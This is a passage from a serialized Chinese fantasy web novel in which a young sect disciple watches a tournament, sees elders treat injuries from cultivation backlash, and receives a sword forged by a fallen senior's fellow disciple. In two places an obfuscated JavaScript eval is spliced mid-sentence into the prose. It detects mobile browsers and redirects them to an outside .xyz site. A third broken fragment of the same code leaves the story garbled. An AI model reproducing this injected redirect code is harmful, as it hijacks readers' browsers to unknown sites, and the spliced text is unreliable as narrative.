她成长在一个辉煌的家庭中,那些人不止一次跟她强调,她只能成为“最优秀”的那位,否则她将辜负他们的期许;她不能表现过多的“自我”,以免被旁人算计;她不能去做“没有意义的事情”,那是辱没她的身份…… 那些条条框框约束着她,压迫着她的胸口,闷得几乎喘不过气。即使和那些故人已经分别了好多年,却依旧在无形中被影响着,也让她几乎摸不透自己的真心。 可方才汤穗穗的话语冲击那道无形的壁垒时,她才猛然惊醒,她依旧被自己困在那个千方百计想要逃离的环境当中。 她一直没有走出来。 其实正如汤穗穗所说的那样,人生本没有那么多枷锁。 只是因为热爱所以去做了,是被允许的。 即使平庸,也可以努力学习,获得独属于平庸的意义。 想通了这些,蓝鄞的心情随即变得轻快,肩膀松下莫须有的担子,做了个深呼吸,轻轻地呼出那口闷气。 当她再一次看向手中的书页时,上面所写的内容不再晦涩难懂,只扫一眼就能轻松领悟。 或许陷在所谓‘瓶颈’的,不是阵法,而是自己的心。 蓝鄞笑着摇摇头,将书籍合起来,准备带回自己的住所再仔细翻看。 但没想到,当她刚从藏经阁走出不远,就听到了锐利的哨声——那是有人需要宗门援助的信号。 蓝鄞下意识往分发任务的地方跑去。那个位置离藏经阁很近,她没一会就跑到了,周围陆陆续续也有其她人赶来。 但蓝鄞没有管她们,她望向正锁定求援信号的师长,径直地开口:“在哪里,我去。” “师姐,你要放弃明天的比试吗?”周围不乏有一些没能入选正式赛的同门,“我来吧,我的能力也不低。” 众所周知,蓝鄞师姐一向将比试排名看得很重。这次求援的信号也不算紧急,在她们看来,让能力不俗的蓝鄞上阵多少有些大材小用了。 被周围人提醒的蓝鄞这才想起来,自己明天还有一场比试。如果去援助的话,就一定会错过这次的正式赛,最后连名次都排不上。 如果是以往,她内心更侧重比试的名次,还会因此心生犹豫。 “不比了。”但现在的蓝鄞只是摇摇头,坦荡地笑着耸肩:“没有什么比正在等待援助的人,更重要。” 44.功法反噬 宗门个人比试的赛事还在如火如荼地进行着。 遗憾的是,汤穗穗并没有走到最后,拿下新秀赛的榜首。即使她比起很多人来说有实战的优势,但终究人外有人,最后落败在实力更深厚的同门身上。 汤穗穗坦然地接受了这个结果。 对于汤穗穗来说,能够走到这个位置已经让她十分满意。她知道自己仍有很多不足之处,也还达不到师姐们的水平。在这次的新秀赛中,她也在其中找到了自己明显的漏洞。 结束了比试之后,汤穗穗拉上唐澄澄往正式赛那边钻去。一会还有师姐的比试,考虑到师姐的人气,她们提前了一场比试就做到了这里,正好能够找到一个视角还不错、并且能够坐下来的位置。 台上并非相识的师姐,两人的心思都不在比试之上,汤穗穗看得心不在焉,身旁的唐澄澄又翻看起她自己带来的书籍。 百无聊赖间,汤穗穗换了个姿势,视线从围观的人群中一一扫过,从陌生的面孔看出她们对这场比试的态度。 台下的观众正被比试牵动着心神,不知不觉间展露相似的神情。 汤穗穗只觉得有些乏味,撑着脑袋叹了口气,继续往擂台周围划过。 未曾想,竟然在擂台边阴凉的地方,看到了一惯严肃的葛长老正蹲在某位师姐面前检查什么,片刻后起身,不耐烦地挥了挥手:“行了,抬下去,死不了。” 这不是汤穗穗第一次看到葛长老诊断同门。 从蓝鄞师姐自动请缨去援助的那天之后,汤穗穗时常能看到这一幕。有时候她都会怀疑,那时意料之外的求援信号,反倒给她展现了宗门的另一番景象。 她几乎每天都能看到因为功法反噬的前辈们被送来葛长老面前,又或是葛长老穿梭过一个又一个擂台,中断这些人的灵气调用,强制让她们休息。 即使葛长老的脸色一如既往的难看,不过汤穗穗稍微也能理解些许。 汤穗穗原本以为反噬会有很明显的先兆,可以提前做好准备。但这几天看下来,她才发现,这件事不仅随时会发生,而且境界越高的人,越容易受到影响……甚至很可能就发生在下一次调息。 “……功法的反噬就是这样的。”唐澄澄微弱的声音拉回了她的思绪,惹得汤穗穗下意识回神偏过头望向对方。 唐澄澄头也不抬地拿着炭笔绘制着什么,看起来像是复杂的机关样式,又在一旁写着什么备注。汤穗穗望着对方连贯的动作,垂下眼睫掩盖内心复杂的思绪,想起那边的前辈们,不忍心地开口:“就没有什么解决的办法吗?” “可怜吗?”唐澄澄不带任何感情的话语钻进汤穗穗的耳朵里,“这就是代价。” 汤穗穗猛地偏头看过去,唐澄澄还是那一副习以为常的模样。可是在那一刻她觉得对方很陌生,跟她相识的“唐澄澄”判若两人。 即使她知道对方陈述的仅仅是功法书籍上所写的事实,但被对方这样阐述出来的时候,她只觉得浑身脊背发寒,险些忍不住打一个寒颤。 她头一回觉得对方的声音很冰冷,即使在阳光之下都带着寒冰的温度——就好像,话本中地府判官为她们,冰冷地掷下死亡判决的令签一样。 “怎么了?”唐澄澄没有听到对方的回应,意外地转头朝她看来,明亮的眼睛里充满了疑惑,驱散了身上的陌生感。 “……澄澄。”汤穗穗张了张嘴,她的心脏砰砰地跳个不停,她皱着眉迟疑地开口,“你刚刚变得很冷漠。” “是吗?”唐澄澄无辜地歪了歪头,某些时刻的她简直理智得不像寻常人,“可是只是事实啊,也是你我终将会迎来的结局。——除非我们能将心法完全改写。” 但她们都知道,这几乎是不可能的事情。 乾坤宗建立至今,功法经过不断地迭代,反噬的程度相比起最初时,堪称微不可查。就像灵魔两气永远维持巧妙的平衡一样,使用功法的代价也不能完全被抵消。 事实是如此,但唐澄澄的话语着实听起来十分不舒服。 汤穗穗忍不住想,该不会对方捣鼓她的机械捣鼓多了,也被同化成那些冷冰冰的器械来了吧。 在一片热闹的欢呼声中,汤穗穗抬起头,才发现师姐已经上台准备迎战。 原来在不知不觉的时候,上一场比试已经结束,然而她们俩都没有留意胜者是谁。 台上师姐和她的对手依旧尚未分出胜负,汤穗穗托着脸,将心思放在台上的师姐身上,听到周围的前辈兴致勃勃地讨论起这次的正式赛名次:“哎你说,这次走到最后的会是谁?” 自从蓝鄞师姐自动请缨前去援助之后,所有人便默认姬忘尘是这次的最终胜者,转而关心谁才是这个第二名。 汤穗穗饶有兴致地听着她们讨论陌生的名字,不自觉又游了神,目光随意地从人群中穿梭。没想到竟然看到了意料之外的身影,那个自称“姜祀”的凡人青年又混在人群的队末,抬着头专心致志地看着台上比试两人的身影。 汤穗穗看着那人的身影,挑了挑眉,下意识地眯着眼睛思考。 ——她分明记得,对方上一场比试还好端端地待在长老们集中的位置。 她下意识回想,好像每次都能在师姐的擂台赛下,看到对方的身影。她皱着眉不满地撇了撇嘴,心中浮起一股莫名的猜测:姜祀好像对师姐格外关注? 不过她很快压下心里微弱的不悦,找到了对方关注师姐的合理解释。 师姐是目前全宗门最强的人,关注师姐难道不是理所当然的吗? 汤穗穗一边想着,一边下意识将视线又飘到葛长老的那边。 那边阴凉处的葛长老刚结束了上个师姐的处理,身形还没站稳,一个着急忙慌的身影就朝她冲了过来。避免影响周围观战的人,声音的主人刻意压低了声音:“葛长老!” 急急忙忙跑来的她气都还没有喘匀,弯下身附在葛长老的耳边说起伤者的情况,葛长老听着对方的话语脸色更为凝重,跟着对方的步伐往外走去。 汤穗穗隔着人群望着葛长老凝重的神情,本来想询问唐澄澄,可身边的人自顾自地沉浸在自己的世界里,完全不被外界打扰。 汤穗穗试图将自己的注意力重新集中到面前的擂台上,但她脑海里总是复现方才葛长老神色凝重的那一幕。 出于好奇,汤穗穗弯着腰从座位中站起来,避免影响到其她人的观战,她矮着身子从拥挤的人群中挤出来,沿着葛长老她们的方向小跑过去。 好在,她们并没有离开很远,汤穗穗很快就看到了她们的身影。 不过葛长老的步伐很快,她保持着小跑的速度才勉强跟上。 所幸她们很快就停了下来,汤穗穗微微喘着气隔着距离,缩在墙角的后面,看到她们停在一个面色惨白的青年面前。青年虚弱地靠在墙边,她的左手臂的伤口已经被处理并且用细麻布包扎,但还是能看出来有厚重的紫气从缝隙冒出来。 青年的同伴们蹲在一旁,紧张地握着她另一只没有手上的手,口中还说些什么,但汤穗穗听得不是很清楚。 “葛长老您来了。”其中一个同伴率先看到葛长老的身影,她连忙起身快速地阐述,“伤口已经找了山下的医者止了血,但伤口还被魔气感染,您看——” 同伴惊喜葛长老的到来,并没有刻意地压低声音。见到葛长老的到来,青年身边的朋友十分识相地让开位置。 “行了我知道了。”葛长老打断对方喋喋不休地话语,快步上前,就简单检查了面前这个奄奄一息青年的情况。 对面前青年的状况做了初步的判断之后,她冷静地掏出一张细绢垫在青年的手臂下方地面,又从怀里掏出一柄两指宽、两指长的细刀,将灵气附在刀刃上,缓慢地划开青年手臂上的细麻布,露出三指宽且深的撕扯创口,鲜红色的肌肉却被浮动的紫气侵蚀着。 葛长老面不改色地用手中的细刀靠近伤口,周围的众人不如她那般冷静,见到如此血腥的一幕,众人皱着眉不适地移开目光。 汤穗穗隔着一定的距离,能看清对方的动作,但不至于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581264|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看得很仔细。她看着葛长老将青年手臂上被腐蚀的肉小心翼翼地剜下来,抖落在细绢上。 看着这样的景象,汤穗穗压下喉头翻涌的恶心感,蹙着眉移开的目光,没有再看过去。她听到青年因疼痛无意识发出的声音,下意识攥紧了衣服,即使她想忽略这些声音,却一直盘桓在她的心上。 不知过去了多久,随着一道火焰焚烧的声音,葛长老终于开了口,言简意赅:“行了,死不了,五天换药。” 汤穗穗听到声音也马上将视线移了回来。她看到青年手臂上重新扎上了干净整洁的细麻布,上面只有浅浅的灵气围绕其中,附近地面上有过真火焚烧过的痕迹——料想应该是葛长老将被感染的部分用真火焚烧了。 听到自己的好友状况好转,青年的同伴脸上浮上喜色,激动地连声应和,将虚弱的青年小心翼翼地扶起,又对着葛长老连连道谢。 几人激动之下,忍不住将当时的情况描述出来。汤穗穗从她们话语得知,青年在除魔的配合中,突然被心法反噬,反应迟钝了一刻,才被魔物弄伤了手臂。 “我不感兴趣。”葛长老冷冰冰地打断她们,撑着身体站起来。却没想到身形不稳,险些摔倒在地面,还好她及时伸手扶着面前的墙壁。 “长老——”几位青年也吓了一跳,连忙上前想要搀扶对方,但被葛长老直接赶走。 “死不了。”葛长老不耐烦地挥了挥手,扶着墙站直身子,“没事别烦我。” 葛长老的语气一如既往强硬,众人都知道对方的脾气不好,心中对她也有些害怕,咽了咽口水便离开了。 汤穗穗缩在墙角,不知道自己该不该离开,毕竟对方的状态看起来不是很好。但她又不敢贸然上前,发现对方因为自己偷听而动怒。 汤穗穗还记得初次见面时,对方锋利的眼神还深深刻在自己的脑海里。 她的内心做着激烈地斗争,她小心翼翼地探头过去,正巧和葛长老对上的眼神。 “听完了还不走?”对方松开扶着墙的手臂,朝汤穗穗挑了挑眉,语气一如既往地强硬。 汤穗穗对上对方如鹰隼的双眼,更是吓得心脏急速跳动。她慌张地咽了口水,伸出手指,不可置信地指了指自己,以不确定的眼神回望过去。 还没等汤穗穗将堵在心口的气呼出来的时候,葛长老再一次开口,语气十分严肃:“过来。” “对,我记得你,姬忘尘身边的小家伙。”葛长老用力地挥了挥手,闭了闭眼,缓缓神,“找我有什么事?” 汤穗穗确定对方真的是喊自己后,她挪动着步伐忐忑的走过去:“……我就是有些好奇。” 等走近了些才发现,葛长老的脸色发白,甚至比方才那位伤者更甚,出口的声音更是不自觉地打了颤。 汤穗穗猜想,方才那场手术确实耗费了她不少的灵气。 “行了,好奇完了,回去吧。” “……您辛苦了。”汤穗穗抓了抓脑袋,想做些什么缓和气氛,“需要我扶您回去吗?” “扶就不用了,我还没老到那个程度。”葛长老瞥了她一眼,口中又是那些毫不客气的话语,“……辛苦?让她们少送点死吧。” 汤穗穗皱着眉看着对方,试图从对方的眼睛里看出些什么。她不明白,为什么葛长老每次都将话语说得那么难以忍受? “可是葛长老您明明是关心她们的,”汤穗穗站在身边,直言反驳,“又何必将话说得那么难听?” “难道我要支持她们去送死吗?”葛长老冷笑着,用话语堵住了汤穗穗的嘴。 汤穗穗哑然,一时之间不知道该怎么回应对方。 葛长老收回打量面前小姑娘的实现,收回扶墙的手,拍了拍衣袖的灰尘,沉默地离开。 汤穗穗转身望着葛长老离开的背影,对方的步伐异常缓慢,努力克制着自己不需要支撑墙壁。 她站在原地想了很久,脑海中的想法十分复杂。 面对随时出现的反噬状况,这一切就像是无解的难题。 45.获胜 百感交集的汤穗穗拖着沉重的步伐回到观战台,猫着身子走到原来的位置上。唐澄澄担心她离开后没有位置,还贴心地在坐的地方放了本书。 汤穗穗将书拿起,转身坐在了位置上,并下意识地将这本书放在了自己的大腿。她抬头看向擂台上,两位师姐仍展开着激烈的比试;她的眼神扫向四周,围观的同门正沉浸其中,就连人群中的姜祀眼睛里也闪着兴奋的色彩;而坐在身旁的唐澄澄仍低着头绘制不知名的机关零件。 周围的一切在她离开的这段时间里,几乎没有发生任何变化。 可是汤穗穗的脑子乱作一团,她的胸口也正堵得慌,一股无名的郁闷淤积在心中,无法纾解。 身旁的唐澄澄好似能感受到她的情绪变化,冷不丁地开口:“……你方才去哪了?” 汤穗穗下意识转头望去,可对方依旧头也不抬地写些什么。她刚刚还觉得唐澄澄冰冷得像机械,但现在又觉得只是自己的过分敏感,从而误解了对方。 她本身就不是将事情全部闷在心里的性格,面对唐澄澄冷静地发问,她恨不得将方才发生的事情全部倒出来。 于是她清了清嗓子,整理了思绪,顺势将方才看到的场面如实开口。 当汤穗穗的开口倾诉时,唐澄澄自然而然地停下手中的画笔,转过头来认认真真地倾听着她的想法,时不时还点点头。 望着对方平淡如水的眼神,无意识地让汤穗穗的心慢慢平静了下来,让她脑海中的思路也更清晰。 汤穗穗知道自己当前情绪的最大来源,正是心底蹦出来的、无能为力的挫败感。 面对心法的反噬,她曾经大言不惭地开口说要将其解决。可事到如今,她又清楚地知道,自己根本没有这样的能力。 她必须坦然承认自己的无能,可……她的内心深处却不想承认,想要马上找到解决的办法。 听完汤穗穗的所思所想,唐澄澄点了点头:“我知道了。” “什么?”汤穗穗没有想到对方竟然是这个反应,不可置信地开口。 可对方已经重新拿起手上的画笔,继续完成方才的事情。 汤穗穗百思不得其解,望着对方漠不关心的动作,她下意识皱起了眉头,一股无名的怒火席卷她的心房。她原本以为是自己过于敏感而误解了对方,没想到对方竟然真的就是这样冷漠无比的人。 她不明白为什么对方会是这样的反应? ……就算这一切都是既定的事实,可她是怎么能那么冷漠,有那么平淡地说出那四个字? 就好像,这些事情这跟她毫不相干一样。 ——她认识的唐澄澄不应该是这样的。 “你到底在说什么?!”汤穗穗望着对方的侧脸,压低了声音质问,紧紧盯着对方的脸,想要从对方的嘴里得到更多的答案。 周围嘈杂的声音在这一刻也被完全屏蔽,她什么都听不清。汤穗穗重重地呼吸着,胸膛不停起伏着,她想要从对方脸上看到一丝一毫动容。 听到汤穗穗包含情绪的质问,唐澄澄终于停下手中的笔,望着前方沉默地眨了眨眼,才转过头来望向汤穗穗,黑白分明的眼睛不带任何情绪:“你希望我做出什么样的反应呢?——或者说,你希望听到什么样的反应?” 汤穗穗被她的眼神震得发懵,她下意识地瞪大了眼睛,伸手握住了对方的手臂,咽下口水,声音有些发压:“难道你不想改变这一切吗?” “我想。”唐澄澄不假思索地开口,“可是光想就有用了吗?” 没用。 汤穗穗在心里接上对方没有开口的回答,不自然地松开手,也移开了目光,低头看着放在自己膝盖上的书。 如果光想想就能搞定的话,这件事情早就被解决掉了。 唐澄澄也意识到自己的态度或许没那么好,她清了清嗓子,伸手拉着汤穗穗的手臂。 汤穗穗回望过去,对上对方眼睛里那抹坚定的神采。对方好像下定了什么决心,捏紧了手上的炭笔,犹豫着开口:“如果我说,我正在——” 恰在此时,台上的比试分出了胜负,周围人喝彩的声浪一层高过一层,将唐澄澄原本细微的声音完全盖了过去。 汤穗穗只能看到对方的嘴唇张合,却完全没有听清对方说话的内容。 她本能的觉得,对方跟她开口的这件事,一定超乎寻常,甚至远超寻常人的想象。 所以她等周围的声浪暂歇时,用力地反握住对方的手:“你刚刚说的,能再说一次吗?” “算了。”唐澄澄抽出手,低头眨了眨眼,掩盖住了自己的真正情绪,低声开口:“……还是不知道的好,毕竟也不一定能成功。” 后面不管汤穗穗再怎么追问,对方都缄口不言,不愿再透露半个字眼。 汤穗穗只能抱着一肚子没解决的疑问回到房间调息打坐。 在调息的时候,汤穗穗抛掉那些堵在心口的想法又重新浮在眼前,让她无法忽视,也静不下心来。 她的脑海被堆积了很多东西,一直影响着她。尝试了好一会,她都不能再像往常一样顺利地进入状态。 汤穗穗叹了口气,索性拿出话本转换一下心情,但没看几页就觉得枯燥异常,什么都看不进去。 最后她只能将自己闷在辈子里,闭上眼等困意自然袭来。 次日,正是宗门大比正式赛的决赛。这场比试将会角逐出本次大赛的胜者,并由宗主送上今年的奖品。 不过碍于宗主的身体不适,并不能当场送出,而是等到赛后去找宗主送出。 姬忘尘不负众望,一路披荆斩棘站在了最后的擂台上,而她的对手是宗门里另一个强悍的同门。 虽然在很多人眼中,这场比试的胜负早已确定。但擂台四周围了一圈又一圈的人,想要亲眼见证胜者的诞生——又或是奇迹的发生。 汤穗穗毫无疑问又在人群中看到了姜祀的身影,他沉默地站在了最后,旁观这场比试。 她收回眼神,也看向擂台上做好准备的师姐。 然而此刻她的心情却和之前截然不同,忍不住担心起师姐的状况,忍不住担心周围的师长会不会就在某一刻突然被功法反噬而倒下…… 这场比试维持了很长的时间,汤穗穗的手捏紧了又松开,不停地深呼吸告诉自己的一切相安无事。她知道这一切很有可能只是自己的过度联想,但还是不停地紧张。她的心中闷得厉害,心脏砰砰直跳,几乎要跳出她的身体;她的掌心不自觉地冒出了汗水,喉头干涩非常,一直需要喝水来缓解。 不过好在,台上的师姐也拿下了顺理成章的胜利,也没有发生什么她紧张的事情。 看到师姐获胜的场景,汤穗穗呼出闷在胸口的浊气,将那些不必要的烦恼全部压在脑后,拉起脸上的笑容,真心地为师姐鼓掌和喝彩。 既然那些事情一时半会解决不掉,还是不要留在脸上,免得影响师姐的心情。 在一片欢呼喝彩声中,姬忘尘挤过汹涌的人潮,朝汤穗穗快步走来,脸上带着胜利的笑容,眼睛也因为喜悦变得亮晶晶。 这是第一次,汤穗穗看到师姐脸上露出这么明显的喜悦。 “师姐,恭喜你又赢了!”看到师姐露出这样的表情,汤穗穗脸上的笑容也愈发真切,她忍不住冲上去抱着对方欢呼道。 姬忘尘也用力地回抱了对方,因为获得了来之不易的胜利,她的心跳比平时快了不少。 “一会跟我去找宗主吧,”她兴高采烈的地开口,“我会把它送给你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在她忙碌的时间里,汤穗穗也将姬忘尘照顾得很好,让后者慢慢敞开了自己的心扉。 汤穗穗将木匣放在一旁的木桌上,木匣上的纹样朴素也不喧宾夺主,小心翼翼地将其打开。 当汤穗穗打开才发现,这不是寻常的兵器,躺在木匣绒布上的,是一柄制作精美的剑,剑身下还压着一些以示说明的纸张。 汤穗穗将剑身下的纸张取出,快速阅读后发现,这是一柄可延伸成竹节鞭、又可控制成齿轮剑的多用剑。仅凭剑身上做工之巧就知道,锻造它的人花了多少心思。 汤穗穗还没反应过来,身旁的秦无纪确实倒吸了一口凉气,不可置信地看向赵宗主的方向:“这次的礼物竟然是它吗?” “既然铸造出来了,也不能一直待在兵器阁落灰,总该发挥它的作用才是。”赵宗主轻咳几声,透过屏风看向面前的几人,语气有些释然,“正巧到了穗穗手里,也算是阿乔与穗穗的缘分吧。” 选定这次奖品的时候,她也只是希望给在这柄神兵寻个主人,免得辜负锻造者的一番心血。但当看到兵器落在汤穗穗手里时,不得不感慨一句“缘分使然”。 汤穗穗粗略地扫了几眼,不敢再看。她咽下口水,将说明的纸张塞回长剑下方,连忙盖上盒子。她从两人的对话中听出,在这柄神兵利器应当十分重要。 她认为自己并没有驾驭它的能力,连连摇头拒绝道:“算了算了,那还是留给更合适的人吧。” “你怎么知道,你就不是那个人呢?”赵宗主在屏风后笑着开口,“收下吧,也算是我们这些人给你的见面礼了。” 话虽如此,汤穗穗还是摇了摇头。她知道自己几斤几两,不敢贪心:“可你们不是说……这柄剑是什么……阿乔的吗?” “她啊,若是知道是你,应该也会高兴的。”听到这名字,赵宗主笑得更开心了,“对了,你们见过的。 “——就是邓娇。” 46.结丹 “邓娇前辈?!”汤穗穗惊呼出口,下意识看向姬忘尘,没想到对方脸上也是如出一辙的讶异。 秦无纪并没有接触到宗门大比的事务,也并不清楚个中缘由。看到两人意外的神情,她也疑惑地往屏风后的人影望去。 赵宗主虽然看不见面前三人的脸色,但也能猜想出她们脸上的神情,忍不住轻笑出声。她回想起当时在议事堂定下这件事情时,几位面面相觑的场景。 因为洄山上发生的一切,在挑选试炼蓝本的时候,诸位贴心地刻意避开洄山,以免自己这位当事者触景生情。 然而不得不说,从历练的角度出发,洄山一行难点颇多。无论是不断泛滥的魔气影响,还是战斗中两条魔蛇的双生关系,都十分适合用作考量参赛者的应变能力。 于私……她想任性一次。 在生命结束之前,再看看邓娇,哪怕只是幻影。 被回溯镜记录的邓娇也会随着拟真试炼,重新经历一次洄山之行,在历练者的参与下,应该能找到更好的办法来解决当时危机。 或许这样,就能弥补心中挥散不去的、那时没能及时赶到的遗憾。 赵宗主深深地吸了口气,望向自己干枯粗糙的掌心,似乎上面还残留些许对方的体温——不过很快她苦笑着摇摇头,那不过是贪妄的臆想而已。因为反噬的影响,她对自己的身体也有一定的了解,也越能感觉到自己的生命危在旦夕。 赵宗主按下心口的情绪,隐去不需要被旁人知晓的私心,将洄山一行选作试炼的缘由缓慢地为堂中几人娓娓道来。 “只是没想到竟然如此巧合,你们不仅去了那个场景,还碰上了阿乔的时间点。”这一点,赵宗主也是通过后来上交的回溯镜才知晓。 就好像冥冥之中,那道看不见摸不着的缘分将她们再一次链接。 “至于这把剑,”赵宗主收拾了一下心情,继续说道,“当时有人将蛇骨捡拾了回去。老扬将蛇骨炼化制成这柄长剑,也是他最后的作品。……若是还算喜欢,也用得上,那就再好不过……” 宗主的身体状态很不好,本来还想再说些什么,但忍不住又是一顿咳嗽。秦无纪连忙走到屏风后检查对方的状况,汤穗穗和姬忘尘对视一眼,便抱着剑匣走了出去。 想起邓娇,汤穗穗的心中就忍不住难过。她还是接受不了,为什么那么好的人最终竟然不能在这个世界留下任何的痕迹…… 不被记住的她们,真的很令人惋惜。倘若不是这次拟真试炼,她也不会知道当时所发生的事情。 她忍不住手上用了些力气抱紧手中的木匣,忽然间又想起,就在净化了魔蛇之后,邓娇也曾提起过把魔蛇捡回去,让她的师哥打一把武器……那人,或许正是赵宗主口中的“老扬”。 一想到怀中木匣里的长剑意义非凡,汤穗穗更觉得像块烫手山芋,不知该如何处理。她斜抱着剑匣,下意识将求援的目光转移到身旁的师姐身上:“师姐……” “收下吧。”姬忘尘望着剑匣上朴素的花纹开口,“那些不过是已经过去的故事……说白了,那也只是柄没人用的兵器而已。倘若因为背后的故事而舍不得使用,不就本末倒置了吗?” 这柄兵器铸造之初,必然也是希望能成为斩杀魔物的强大助力,而非将其束之高阁。 因为心中有事,两人的脚步也不算快,秦无纪照料好赵宗主后出来,正好听到两人的对话。她上前一步,拍了拍汤穗穗的肩膀,笑容里夹杂着细微的苦涩:“收下吧。若是她们的在天之灵能够看到这一切,想来也会为你获得了这柄兵器而高兴。” 秦无纪下意识地抬头,望向空无一物的瓦蓝天空,可惜什么都没有看到。 汤穗穗没有留意师傅的动作,只是愣愣地点头,将手中的剑匣抱得更紧了,好像这样就能将沉重的剑匣托住。 不过比起这个,她更很好奇师傅她们对于邓娇的称呼:“师傅,为什么你们管邓娇师姐……叫‘阿乔’啊?是什么特别的含义吗?” 秦无纪被汤穗穗的声音拉回现实,想起邓娇的这个外号,忍俊不禁:“你说这个啊,算是师姐给自己起的名字吧。” 她也才发现,数十载前的记忆时至今日,依旧清晰地盘踞在脑海中,甚至还记得当时的点点滴滴。 “她说那些人想要她娇软可人,但她偏不。”她深吸一口气,眨了眨眼,望向汤穗穗怀里的剑匣,“她偏要当遮天蔽日的乔木。” “‘娇’为何只能有脆弱、柔嫩的含义,为什么就不能是高大的乔木?”她还记那时的邓娇是怎么靠在自己手臂上,发誓要将“娇”字改写,改成打破常理的释义。 然后就被老头子用力地敲了脑袋,说她有时间在这大放厥词,但偏偏没时间完成课业。 邓娇当然不服,拧着脖子和老头子拌起嘴来。她总有很多歪理,说着说着把老头子也绕进去,岔开了话题。 后来被师姐知道了,也就带起头来喊她“阿乔”,希望她能如愿成为理想中的乔木。 秦无纪眨眨眼回神,笑着讲将细节补充:“……她所说的‘那些人’是她一些亲属。那些人觉得她过于顽劣、没有女孩子的样子,就瞒着她父亲将她扔到了荒山里,美其名曰‘磨磨性子’,一走了之。若不是误打误撞地碰上了老头子,估计早就成为山中猛兽的开胃小菜。” 这些事也是秦无纪听姚成说来的。他向来对这些琐事的细节探究得特别清楚,以前还经常被邓娇埋怨他“狗拿耗子”,又以此为理由敲诈几杯好酒。 ——邓娇的酒量是她们中最差的,姚成都不敢给她喝多,生怕一醉几天不醒又被大师姐问罪。 不过都过去了。 秦无纪眨着眼,眼眶有些湿润,她伸手摸了摸面前小姑娘的脸,又放下了手:“既然你在拟真试炼和她打过交道,应当也知晓她是什么样的性格。” 她眼里的邓娇,还停留在那个谁都不服的骄慢性子,也没想到最后会做出这样的选择。 “……您别难过。”汤穗穗下意识上前两步,她看出师傅眼底极力按压的情绪,她不知道应当怎么开口宽慰对方。 “都过去了。”秦无纪笑着对视,而后摇摇头,脸上的笑容怀念中夹杂着释然,轻轻地叹了口气,不自觉地重复,“……都过去了。那个木匣,我们都没打开过,老扬——也就是我的师哥,他的使用方法都写在里面,估计穗穗你得自己琢磨琢磨。” 姬忘尘就站在两人身边低头垂眸,将视线放在了汤穗穗怀中的木匣上,沉默不语。 汤穗穗抱着木匣回到了自己居住的房间,将剑匣放在桌上,又一次打开了它。 长剑就这样静静地窝在剑匣中,透露出一股摄人心魄的危险感。长剑由九节菱形组成,犹如蛇的鳞片,在日光下闪着危险的光芒。汤穗穗将长剑拿起,串连菱形刀片的主体也不知是什么特殊材质,柔中带刚,可随意调整成长鞭或是直剑状态。 光看剑身独特的设计,就在足以看出设计这柄武器之人耗费了多少心力。 汤穗穗拿起压在剑下的设计图纸,图纸的右下角写了一个“扬”,与当时在藏经阁看到机关书扉页留下的名字一模一样。 她按照剑下的图纸,试着使用这柄特殊的长剑。她以为自己会很不适应,但没想到用起来十分顺利,简直就像为她量身打造的一样。 汤穗穗将长剑放回剑匣,望着长剑有些出神。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593965|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在拟真镜里眉飞色舞的邓师姐,不仅一跃成为她的前辈,还实现了当时的“诺言”,叫上自己煅器的师哥,送了她一把趁手的武器。 汤穗穗忍不住鼻头一酸,紧紧地咬着下唇,那些不知名的情绪再一次泛滥起来,视线霎时变得模糊。她连忙把图纸放回剑匣盖起来,慌张地合上剑匣,双手撑在剑匣之上。 泪水不争气地滴在她的手背又滑落,随意地描摹上面的花纹。 “前辈……”汤穗穗下意识地开口,欲言又止。 她们在试炼中最后的对话不自觉地在脑海中回放,汤穗穗才发现,对方的每一句都意有所指。对方已经意识到了两人不同的身份,也意识到了这场注定的离别。 那时候的邓娇师姐,又是怎样的心情继续和自己闲聊下去的呢? 汤穗穗忍不住猜想,依对方的性子,或许会笑着摸摸自己的头,打趣她,说不定还会伸手揉捏她的脸颊:“那你可得好好使用,千万别丢了我们的脸。” “别难过。”一只手从身旁递来了洁白的手绢。 汤穗穗吸了吸鼻子转头,对上自家师姐担忧的神情,她忍不住,转身扑到师姐身上,抱着对方的身体,将近段时间挤压的所有情绪一股脑倾洒出来。 她觉得自己很无能,明明知道了很多,但又什么都做不到。 姬忘尘不知道师妹所想,但她笨拙地、学着师傅那般、轻轻地拍打师妹的后背,轻声开口:“她们虽然已经辞世,但我们还活着,我们的眼神得往前看。” 昨日的夕阳已经落下,但明日的太阳仍会升起。 当汤穗穗晚上独自在房间时,她又翻开了当时在藏经阁借来的心法书籍。这次她看得很认真,一点点地阅读着每一页,也发现了之前没有留意到的地方:历代宗主和师长为后人留下的许多感悟也被装订其中。 汤穗穗翻看着书页,仿佛越过岁月,看着、听着前人如何将心法优化——从曾经的千不存一、百不存一,逐步演变成现在的模样。 面对死亡,她们坦然接受,但依旧为后人寻求改善的方法。她们自知行走在死亡的路上,却从来没有因此退缩过。 就如同扑火的飞蛾,向着那抹炽热义无反顾地奔赴。 ——不,她们更像是黑夜中明亮的萤火,即使渺小也依旧留下自己的微光。 